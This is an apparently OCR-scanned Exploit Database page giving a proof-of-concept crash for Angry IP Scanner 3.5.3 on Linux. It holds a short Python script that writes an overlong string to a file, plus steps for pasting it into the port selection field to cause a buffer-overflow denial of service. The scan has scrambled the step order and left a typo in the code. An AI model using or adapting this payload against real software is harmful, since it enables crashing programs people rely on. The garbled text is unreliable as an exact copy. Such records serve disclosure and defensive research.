5/2/26, 5:09 PM Angry IP Scanner for Linux 3.5.3 - Denial of Service (PoC) - Linux dos Exploit

ﬂ@ EXPLOIT DATABASE

EXPLOITS

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

https://www.exploit-db.com/exploits/46038 1/3


https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/papers
https://www.exploit-db.com/shellcodes
https://www.exploit-db.com/search
https://www.exploit-db.com/searchsploit
https://www.exploit-db.com/submit
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www

5/2/26, 5:09 PM

%’ EXPLOIT DATABASE

EXPLOITS

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

https://www.exploit-db.com/exploits/46038

Angry IP Scanner for Linux 3.5.3 - Denial of Service (PoC) - Linux dos Exploit

Angry IP Scanner for Linux 3.5.3 - Denial of
Service (PoC)

EDB-ID: CVE:

46038 N/A

EDB Verified: X

Author: Type:

SAM DOS

Exploit: & _/ {}

Platform: Date:
LINUX 2018-12-24

Vulnerable App:
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Discovery by: Mr WinstOn
Discovery Date: 2018-12-22

Tested on: Kali linux
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Steps to Produce the Crash:

3.- Open Angry IP Scanner
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"Ports",

# 5.- Paste ClipBoard on "Port selection", and click on "OK",

# 6.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 384

crash = buffer + "BBBB" + "CCCC"

f = open("Xangry.txt", "w")
f.write(crash)
f.closel()

Tags: Denial of Service (DoS),
Buffer Overflow

<

Vendor Homepage: https://angryip.org/
Software Link : https://angryip.org/download/
Tested Version: 3.5.3 (latest version)

Vulnerability Type: Denial of Service (DoS)

1.- Run python code : python angryip.py
2.- Open Xangry.txt and copy content to clipboard
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Exploit Title: Angry IP Scanner for Linux 3.5.3 - Denial of Service (PoC)

4.,- Go to "Tools" in toolbar, click on "Preferences", then in the tab

Advisory/Source: Link
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